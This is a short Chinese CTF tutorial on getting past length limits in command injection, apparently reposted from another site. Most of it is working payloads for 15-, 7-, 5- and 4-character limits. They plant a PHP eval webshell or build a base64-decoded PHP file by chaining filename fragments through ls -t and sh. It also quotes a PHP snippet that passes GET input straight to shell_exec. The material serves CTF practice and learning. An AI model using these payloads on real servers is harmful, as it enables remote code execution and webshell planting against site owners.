命令注入長度限制繞過


前言:

做ctf時難免會遇到可以執行莫命令執行函數,但是命令長度被限制,不同的長度限制將采用不同的截斷連接方法。

1.15位可控字符下的任意命令執行

如需執行 echo \<?php eval($_GET[1]);?\>>1

echo \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;?>>1

2.7位可控字符下的任意命令執行

1>a或者w>b分別可以創建a和b兩個空文件夾。

ls>c會將目錄下面的文件名寫入到c文件中;ls -t>0會將文件名按照創建的時間倒敘寫入0文件中。並且自動換行。

\作為轉義符,轉義之后的'\'是用來換行分隔,也就是換行也是連接的。

ca\
t
這就代表cat

例如這樣的代碼:

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

假設我產要寫入<?php echo phpinfo();

echo PD9waHAgcGhwaW5mbygpOw== | base64 -d >1.php

w>hp
w>1.p\\
w>d\>\\
w>\-\\
w>e64\\
w>bas\\
w>=\|\\
w>w=\\
w>gpO\\
w>mby\\
w>aW5\\
w>Ghw\\
w>Agc\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\

ls -t>0

sh 0

倒敘新建文件名,然后通過ls -t>0,將剛才的順序再倒序然后寫入到0文件中,然后用sh將0當作腳本執行。

3.5位可控字符下的任意命令執行

ls -t>0 超過了5位

>ls\\
ls>a
>\ \\
>-t\\
>\>0

ls>>a

這就將ls -t>0寫在了a腳本中,如果要用的話直接sh a,之后寫入自己的命令按照7位的邏輯寫就行了。

4.4位可控字符下的任意命令執行

ls -th>f 超過了4位

>f\>
>ht-
>sl
>dir
*>v
>rev
*v>0

cat 0

這就將ls -th>f寫入到了腳本0當中,后面就可以直接按照7位的那樣寫入我們要執行的命令,最后使用sh 0執行ls -th>f,然后將命令寫入了f腳本中,執行sh f即可。

注意:

>py\\這里看着是5個字符,超過了4個的限制,實際上是因為 shell環境需要輸入\\產生\,但是php 代碼exec時,只需要輸入\即可產生\,比如 exec(“>py\”)即可。

這上面的所以payload均在linux終端shell里面進行操作,因此需要'\'的地方都進行了再加'\'轉義,也就變成了'\\',如果在命令注入函數里面輸入時,'\'不需要用'\'轉義。

4位命令繞過的payload的構造邏輯、原理:

這里大佬總結得很清晰明了了,附上鏈接:https://www.sohu.com/a/208155480_354899

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM